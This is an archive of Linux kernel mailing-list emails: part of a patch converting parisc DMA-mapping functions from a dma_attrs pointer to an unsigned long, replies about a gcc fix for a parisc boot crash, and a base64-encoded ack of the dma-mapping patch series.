@@ -783,7 +783,7 @@ sba_map_single(struct device *dev, void *addr, size_t size,
 static dma_addr_t
 sba_map_page(struct device *dev, struct page *page, unsigned long offset,
 		size_t size, enum dma_data_direction direction,
-		struct dma_attrs *attrs)
+		unsigned long attrs)
 {
 	return sba_map_single(dev, page_address(page) + offset, size,
 			direction);
@@ -801,7 +801,7 @@ sba_map_page(struct device *dev, struct page *page, unsigned long offset,
  */
 static void
 sba_unmap_page(struct device *dev, dma_addr_t iova, size_t size,
-		enum dma_data_direction direction, struct dma_attrs *attrs)
+		enum dma_data_direction direction, unsigned long attrs)
 {
 	struct ioc *ioc;
 #if DELAYED_RESOURCE_CNT > 0
@@ -876,7 +876,7 @@ sba_unmap_page(struct device *dev, dma_addr_t iova, size_t size,
  * See Documentation/DMA-API-HOWTO.txt
  */
 static void *sba_alloc(struct device *hwdev, size_t size, dma_addr_t *dma_handle,
-		gfp_t gfp, struct dma_attrs *attrs)
+		gfp_t gfp, unsigned long attrs)
 {
 	void *ret;
 
@@ -908,9 +908,9 @@ static void *sba_alloc(struct device *hwdev, size_t size, dma_addr_t *dma_handle
  */
 static void
 sba_free(struct device *hwdev, size_t size, void *vaddr,
-		    dma_addr_t dma_handle, struct dma_attrs *attrs)
+		    dma_addr_t dma_handle, unsigned long attrs)
 {
-	sba_unmap_page(hwdev, dma_handle, size, 0, NULL);
+	sba_unmap_page(hwdev, dma_handle, size, 0, 0);
 	free_pages((unsigned long) vaddr, get_order(size));
 }
 
@@ -943,7 +943,7 @@ int dump_run_sg = 0;
  */
 static int
 sba_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
-	   enum dma_data_direction direction, struct dma_attrs *attrs)
+	   enum dma_data_direction direction, unsigned long attrs)
 {
 	struct ioc *ioc;
 	int coalesced, filled = 0;
@@ -1026,7 +1026,7 @@ sba_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
  */
 static void 
 sba_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
-	     enum dma_data_direction direction, struct dma_attrs *attrs)
+	     enum dma_data_direction direction, unsigned long attrs)
 {
 	struct ioc *ioc;
 #ifdef ASSERT_PDIR_SANITY
@@ -1051,7 +1051,7 @@ sba_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	while (sg_dma_len(sglist) && nents--) {
 
 		sba_unmap_page(dev, sg_dma_address(sglist), sg_dma_len(sglist),
-				direction, NULL);
+				direction, 0);
 #ifdef SBA_COLLECT_STATS
 		ioc->usg_pages += ((sg_dma_address(sglist) & ~IOVP_MASK) + sg_dma_len(sglist) + IOVP_SIZE - 1) >> PAGE_SHIFT;
 		ioc->usingle_calls--;	/* kluge since call is unmap_sg() */
-- 
1.9.1



From - Thu Nov 08 21:39:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: parisc late boot crash in 4.4-rc, scsi-related
Date: Wed, 6 Jul 2016 09:59:24 +0300 (EEST)
Lines: 21
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1607060957560.8418@math.ut.ee>
References: <alpine.LRH.2.20.1601082329270.23187@math.ut.ee> <9d1ae51e-69c3-c3f6-60aa-e5238dd18241@bell.net> <alpine.LRH.2.20.1606221451310.11869@math.ut.ee> <2098261.XbUFfohXuY@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1467788264 4258 80.91.229.3 (6 Jul 2016 06:57:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 Jul 2016 06:57:44 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-block@vger.kernel.org,
	linux-scsi@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 06 08:57:43 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bKgmF-0002zR-BM
	for glpp-linux-parisc@plane.gmane.org; Wed, 06 Jul 2016 08:57:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750886AbcGFG5n (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 Jul 2016 02:57:43 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:38660 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750780AbcGFG5m (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 Jul 2016 02:57:42 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 3BC3573D5CD;
	Wed,  6 Jul 2016 09:57:37 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 0793C22172C; Wed,  6 Jul 2016 09:59:24 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id EB35222168B;
	Wed,  6 Jul 2016 09:59:24 +0300 (EEST)
In-Reply-To: <2098261.XbUFfohXuY@caliban.sf-tec.de>
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26921 gmane.linux.scsi:114667
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26921>

> > What distro are you using?
> > 
> > My pariscs are gentoo and still only the old versions are available on
> > hppa.
> 
> Several newer versions (4.9, 5.3) are in portage, maybe they just need to be 
> unmasked.

4.9.3 and 5.3.0 were too old.

However, at the end of June, 5.4.0 appeared masked. Unmasking kgcc64 
5.4.0 and building it made my pariscs work again, with 4.7-rc6 running 
fine on all of them.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: parisc late boot crash in 4.4-rc, scsi-related
Date: Wed, 6 Jul 2016 09:30:22 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <ce0e6b44-c74a-c85e-51c0-3643b414e4d6@bell.net>
References: <alpine.LRH.2.20.1601082329270.23187@math.ut.ee>
 <9d1ae51e-69c3-c3f6-60aa-e5238dd18241@bell.net>
 <alpine.LRH.2.20.1606221451310.11869@math.ut.ee>
 <2098261.XbUFfohXuY@caliban.sf-tec.de>
 <alpine.LRH.2.20.1607060957560.8418@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1467811835 15998 80.91.229.3 (6 Jul 2016 13:30:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 Jul 2016 13:30:35 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-block@vger.kernel.org,
	linux-scsi@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 06 15:30:28 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bKmuH-00057K-9j
	for glpp-linux-parisc@plane.gmane.org; Wed, 06 Jul 2016 15:30:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754503AbcGFNaY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 Jul 2016 09:30:24 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:43053 "EHLO
	torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1754212AbcGFNaX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 Jul 2016 09:30:23 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20160706133021.BWMA31087.torfep02.bell.net@torspm01.bell.net>;
          Wed, 6 Jul 2016 09:30:21 -0400
Original-Received: from [192.168.0.122] (really [65.95.36.147]) by torspm01.bell.net
          with ESMTP
          id <20160706133021.WRIN25812.torspm01.bell.net@[192.168.0.122]>;
          Wed, 6 Jul 2016 09:30:21 -0400
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101
 Thunderbird/45.1.1
In-Reply-To: <alpine.LRH.2.20.1607060957560.8418@math.ut.ee>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020205.577D07ED.02EB,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26922 gmane.linux.scsi:114675
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26922>

On 2016-07-06 2:59 AM, Meelis Roos wrote:
>>> What distro are you using?
>>>
>>> My pariscs are gentoo and still only the old versions are available on
>>> hppa.
>> Several newer versions (4.9, 5.3) are in portage, maybe they just need to be
>> unmasked.
> 4.9.3 and 5.3.0 were too old.
Correct.  4.9.4 will include fix if it is released.
>
> However, at the end of June, 5.4.0 appeared masked. Unmasking kgcc64
> 5.4.0 and building it made my pariscs work again, with 4.7-rc6 running
> fine on all of them.
Great!  Thanks for report.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Vetter <daniel-/w4YWyX8dFk@public.gmane.org>
Newsgroups: gmane.comp.freedesktop.xorg.drivers.freedreno,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.linux.kernel.pci,gmane.comp.video.dri.devel,gmane.linux.ports.sparc,gmane.linux.kernel.samsung-soc,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.ports.arm.rockchip,gmane.comp.freedesktop.xorg.nouveau,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.arm.msm,gmane.linux.ports.arm.mediatek,gmane.linux.ports.arm.omap,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha
Subject: Re: [PATCH v5 00/44] dma-mapping: Use unsigned long for
	dma_attrs
Date: Tue, 12 Jul 2016 14:16:25 +0200
Lines: 211
Approved: news@gmane.org
Message-ID: <20160712121625.GP23520@phenom.ffwll.local>
References: <1467275019-30789-1-git-send-email-k.kozlowski@samsung.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1468325804 27489 80.91.229.3 (12 Jul 2016 12:16:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 12 Jul 2016 12:16:44 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-fbdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-doc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, dri-devel-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org,
 sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 linux-samsung-soc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
 linux-rdma-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org,
 linux-rockchip-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, nouveau-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org,
 xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org, linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
 linux-media-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
 Bartlomiej Zolnierkiewicz <b.zolnierkie-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>,
 linux-arm-msm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
 linux-mediatek-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-omap-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
 linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-parisc@vg
To: Krzysztof Kozlowski <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
Original-X-From: freedreno-bounces-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org Tue Jul 12 14:16:34 2016
Return-path: <freedreno-bounces-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org>
Envelope-to: gcfxdf-freedreno@m.gmane.org
Original-Received: from gabe.freedesktop.org ([131.252.210.177])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <freedreno-bounces-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org>)
	id 1bMwc5-0004Zd-0j
	for gcfxdf-freedreno@m.gmane.org; Tue, 12 Jul 2016 14:16:33 +0200
Original-Received: from gabe.freedesktop.org (localhost [127.0.0.1])
	by gabe.freedesktop.org (Postfix) with ESMTP id 4EC1A6E52E;
	Tue, 12 Jul 2016 12:16:32 +0000 (UTC)
X-Original-To: freedreno-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org
Delivered-To: freedreno-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org
Original-Received: from mail-wm0-x242.google.com (mail-wm0-x242.google.com
 [IPv6:2a00:1450:400c:c09::242])
 by gabe.freedesktop.org (Postfix) with ESMTPS id C4FCB6E52E
 for <freedreno-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org>; Tue, 12 Jul 2016 12:16:30 +0000 (UTC)
Original-Received: by mail-wm0-x242.google.com with SMTP id o80so1849683wme.0
 for <freedreno-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org>; Tue, 12 Jul 2016 05:16:30 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ffwll.ch; s=google;
 h=sender:date:from:to:cc:subject:message-id:mail-followup-to
 :references:mime-version:content-disposition:in-reply-to:user-agent;
 bh=XMNDUnitLIl7SMpPJT/jV0OJdnWAP+3SDJ+SuiNbjYI=;
 b=jdB95FvRdCfHu80Ra4P1ZHVMv3uxCYiO32aaHl4SbA1GA9J93r2n7BBnbsU9oiktlw
 0WITI8ixcuIWYFBHdUqa/tmqn2KeI5rieIY1bCMuzju7OBPo1XrnWGgHLNniTSsl9cdr
 nmPeQ6HHvKSYFZ+5RVH6bOlzHbfkGRLtqshe4=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20130820;
 h=x-gm-message-state:sender:date:from:to:cc:subject:message-id
 :mail-followup-to:references:mime-version:content-disposition
 :in-reply-to:user-agent;
 bh=XMNDUnitLIl7SMpPJT/jV0OJdnWAP+3SDJ+SuiNbjYI=;
 b=isvqzscsr8HknFNo+6OLfE8+41H1Bx0HIA2n8LUa6a/aZe40k0JPZgKPBSDgOhLOrm
 /oxqDI6PmiU9MJ8oNZadh4rllpmXBkoF3TNTTlBx7RK2iN+SKe45gX/DKj8UwQTdHuZZ
 muSZu1aE9JSlR/E4iuMNpJ3SCZY1/pRmINTzg/BlfFYmCan/DI7paZmKgP89BxLKEZII
 Tn1gwYWs+eXnUV267ZCA6KHCrFPcMh30QrJ4lWn5TKXIaoUQL7mYPDTzXE2uDsl7PVYa
 SEwVSxNbQ/GnX+ISWGj5FzouIjLEv1jOh4J20CkLkGqN4GKNeKi3NilZMK7bd+9Oc5S3
 MIJg==
X-Gm-Message-State: ALyK8tIWHHZ/vVdsqCiRwsQjnB5js9h4103iGZMBWBCAT2wt3Zo/ibsfMkr6jm8uS3wcyQ==
X-Received: by 10.28.156.87 with SMTP id f84mr19021943wme.86.1468325788859;
 Tue, 12 Jul 2016 05:16:28 -0700 (PDT)
Original-Received: from phenom.ffwll.local ([2a02:168:56b5:0:ac27:b86c:7764:9429])
 by smtp.gmail.com with ESMTPSA id f196sm28646454wmg.15.2016.07.12.05.16.26
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Tue, 12 Jul 2016 05:16:28 -0700 (PDT)
Mail-Followup-To: Krzysztof Kozlowski <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>,
 Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
 linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 linux-doc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 linux-fbdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, dri-devel-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org,
 sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 linux-samsung-soc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
 linux-rdma-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org,
 linux-rockchip-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, nouveau-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org,
 xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org, linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
 linux-media-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
 Bartlomiej Zolnierkiewicz <b.zolnierkie-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>,
 linux-arm-msm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
 linux-mediatek-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-omap-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 linux 
Content-Disposition: inline
In-Reply-To: <1467275019-30789-1-git-send-email-k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
X-Operating-System: Linux phenom 4.6.0-rc5+ 
User-Agent: Mutt/1.6.0 (2016-04-01)
X-BeenThere: freedreno-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: Freedreno graphics driver community testing & development
 <freedreno.lists.freedesktop.org>
List-Unsubscribe: <https://lists.freedesktop.org/mailman/options/freedreno>,
 <mailto:freedreno-request-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org?subject=unsubscribe>
List-Archive: <https://lists.freedesktop.org/archives/freedreno>
List-Post: <mailto:freedreno-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org>
List-Help: <mailto:freedreno-request-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org?subject=help>
List-Subscribe: <https://lists.freedesktop.org/mailman/listinfo/freedreno>,
 <mailto:freedreno-request-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org?subject=subscribe>
Errors-To: freedreno-bounces-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org
Original-Sender: "Freedreno" <freedreno-bounces-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org>
Xref: news.gmane.org gmane.comp.freedesktop.xorg.drivers.freedreno:186 gmane.linux.ports.mips.general:55458 gmane.linux.ports.ia64:27039 gmane.linux.documentation:39683 gmane.linux.kernel.pci:53367 gmane.comp.video.dri.devel:159353 gmane.linux.ports.sparc:23241 gmane.linux.kernel.samsung-soc:55331 gmane.linux.drivers.rdma:38583 gmane.linux.ports.hexagon:1034 gmane.linux.ports.sh.devel:54373 gmane.linux.ports.arm.rockchip:8180 gmane.comp.freedesktop.xorg.nouveau:25377 gmane.linux.kernel.arc:1319 gmane.linux.drivers.video-input-infrastructure:104308 gmane.linux.ports.arm.msm:20281 gmane.linux.ports.arm.mediatek:6043 gmane.linux.ports.arm.omap:137536 gmane.linux.kernel.metag:1118 gmane.linux.ports.arm.kernel:513575 gmane.linux.ports.parisc:26923 gmane.linux.ports.ppc64.devel:130058 gmane.linux.kernel:2264002 gmane.linux.kernel.iommu:14476 gmane.linux.ports.alpha:3844
Archived-At: <http://permalink.gmane.org/gmane.comp.freedesktop.xorg.drivers.freedreno/186>

T24gVGh1LCBKdW4gMzAsIDIwMTYgYXQgMTA6MjM6MzlBTSArMDIwMCwgS3J6eXN6dG9mIEtvemxv
d3NraSB3cm90ZToKPiBIaSwKPiAKPiAKPiBUaGlzIGlzIGZpZnRoIGFwcHJvYWNoIGZvciByZXBs
YWNpbmcgc3RydWN0IGRtYV9hdHRycyB3aXRoIHVuc2lnbmVkCj4gbG9uZy4KPiAKPiBUaGUgbWFp
biBwYXRjaCAoMS80NCkgZG9pbmcgdGhlIGNoYW5nZSBpcyBzcGxpdCBpbnRvIG1hbnkgc3VicGF0
Y2hlcwo+IGZvciBlYXNpZXIgcmV2aWV3ICgyLTQyKS4gIFRoZXkgc2hvdWxkIGJlIHNxdWFzaGVk
IHRvZ2V0aGVyIHdoZW4KPiBhcHBseWluZy4KCkZvciBhbGwgdGhlIGRybSBkcml2ZXIgcGF0Y2hl
czoKCkFja2VkLWJ5OiBEYW5pZWwgVmV0dGVyIDxkYW5pZWwudmV0dGVyQGZmd2xsLmNoPgoKU2hv
dWxkIEkgcHVsbCB0aGVzZSBpbiB0aHJvdWdoIGRybS1taXNjLCBvciBkbyB5b3UgcHJlZmVyIHRv
IG1lcmdlIHRoZW0KdGhyb3VnaCBhIHNwZWNpYWwgdG9waWMgYnJhbmNoICh3aXRoIGV2ZXJ5dGhp
bmcgZWxzZSkgaW5zdGVhZCBvbiB5b3VyIG93bj8KLURhbmllbAoKPiAKPiAKPiBSZWJhc2VkIG9u
IHY0LjctcmM1Lgo+IAo+IEZvciBlYXNpZXIgdGVzdGluZyB0aGUgcGF0Y2hzZXQgaXMgYXZhaWxh
YmxlIGhlcmU6Cj4gcmVwbzogICBodHRwczovL2dpdGh1Yi5jb20va3J6ay9saW51eAo+IGJyYW5j
aDogZm9yLW5leHQvZG1hLWF0dHJzLWNvbnN0LXY1Cj4gCj4gCj4gQ2hhbmdlcyBzaW5jZSB2NAo+
ID09PT09PT09PT09PT09PT0KPiAxLiBDb2xsZWN0IHNvbWUgYWNrcy4gU3RpbGwgbmVlZCBtb3Jl
Lgo+IDIuIE1pbm9yIGZpeGVzIHBvaW50ZWQgYnkgUm9iaW4gTXVycGh5Lgo+IDMuIEFwcGxpZWQg
Y2hhbmdlcyBmcm9tIEJhcnQgVmFuIEFzc2NoZSdzIGNvbW1lbnQuCj4gNC4gTW9yZSB0ZXN0cyBh
bmQgYnVpbGRzICh1c2luZyBodHRwczovL3d3dy5rZXJuZWwub3JnL3B1Yi90b29scy9jcm9zc3Rv
b2wvKS4KPiAKPiAKPiBDaGFuZ2VzIHNpbmNlIHYzCj4gPT09PT09PT09PT09PT09PQo+IDEuIENv
bGxlY3Qgc29tZSBhY2tzLgo+IDIuIERyb3Agd3JvbmcgcGF0Y2ggMS80NSAoInBvd2VycGM6IGRt
YS1tYXBwaW5nOiBEb24ndCBoYXJkLWNvZGUKPiAgICB0aGUgdmFsdWUgb2YgRE1BX0FUVFJfV0VB
S19PUkRFUklORyIpLgo+IDMuIE1pbm9yIGZpeCBwb2ludGVkIG91dCBieSBNaWNoYWVsIEVsbGVy
bWFuLgo+IAo+IAo+IENoYW5nZXMgc2luY2UgdjIKPiA9PT09PT09PT09PT09PT09Cj4gMS4gRm9s
bG93IENocmlzdG9waCBIZWxsd2lnJ3MgY29tbWVudHMgKGRvbid0IHVzZSBCSVQgYWRkCj4gICAg
ZG9jdW1lbnRhdGlvbiwgcmVtb3ZlIGRtYV9nZXRfYXR0cikuCj4gCj4gCj4gUmF0aW9uYWxlCj4g
PT09PT09PT09Cj4gVGhlIGRtYS1tYXBwaW5nIGNvcmUgYW5kIHRoZSBpbXBsZW1lbnRhdGlvbnMg
ZG8gbm90IGNoYW5nZSB0aGUKPiBETUEgYXR0cmlidXRlcyBwYXNzZWQgYnkgcG9pbnRlci4gIFRo
dXMgdGhlIHBvaW50ZXIgY2FuIHBvaW50IHRvIGNvbnN0Cj4gZGF0YS4gIEhvd2V2ZXIgdGhlIGF0
dHJpYnV0ZXMgZG8gbm90IGhhdmUgdG8gYmUgYSBiaXRmaWVsZC4gSW5zdGVhZAo+IHVuc2lnbmVk
IGxvbmcgd2lsbCBkbyBmaW5lOgo+IAo+IDEuIFRoaXMgaXMganVzdCBzaW1wbGVyLiAgQm90aCBp
biB0ZXJtcyBvZiByZWFkaW5nIHRoZSBjb2RlIGFuZCBzZXR0aW5nCj4gICAgYXR0cmlidXRlcy4g
IEluc3RlYWQgb2YgaW5pdGlhbGl6aW5nIGxvY2FsIGF0dHJpYnV0ZXMgb24gdGhlIHN0YWNrCj4g
ICAgYW5kIHBhc3NpbmcgcG9pbnRlciB0byBpdCB0byBkbWFfc2V0X2F0dHIoKSwganVzdCBzZXQg
dGhlIGJpdHMuCj4gCj4gMi4gSXQgYnJpbmdzIHNhZmVuZXNzIGFuZCBjaGVja2luZyBmb3IgY29u
c3QgY29ycmVjdG5lc3MgYmVjYXVzZSB0aGUKPiAgICBhdHRyaWJ1dGVzIGFyZSBwYXNzZWQgYnkg
dmFsdWUuCj4gCj4gCj4gQmVzdCByZWdhcmRzLAo+IEtyenlzenRvZgo+IAo+IAo+IEtyenlzenRv
ZiBLb3psb3dza2kgKDQ0KToKPiAgIGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQgbG9uZyBmb3Ig
ZG1hX2F0dHJzCj4gICBhbHBoYTogZG1hLW1hcHBpbmc6IFVzZSB1bnNpZ25lZCBsb25nIGZvciBk
bWFfYXR0cnMKPiAgIGFyYzogZG1hLW1hcHBpbmc6IFVzZSB1bnNpZ25lZCBsb25nIGZvciBkbWFf
YXR0cnMKPiAgIEFSTTogZG1hLW1hcHBpbmc6IFVzZSB1bnNpZ25lZCBsb25nIGZvciBkbWFfYXR0
cnMKPiAgIGFybTY0OiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVkIGxvbmcgZm9yIGRtYV9hdHRy
cwo+ICAgYXZyMzI6IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQgbG9uZyBmb3IgZG1hX2F0dHJz
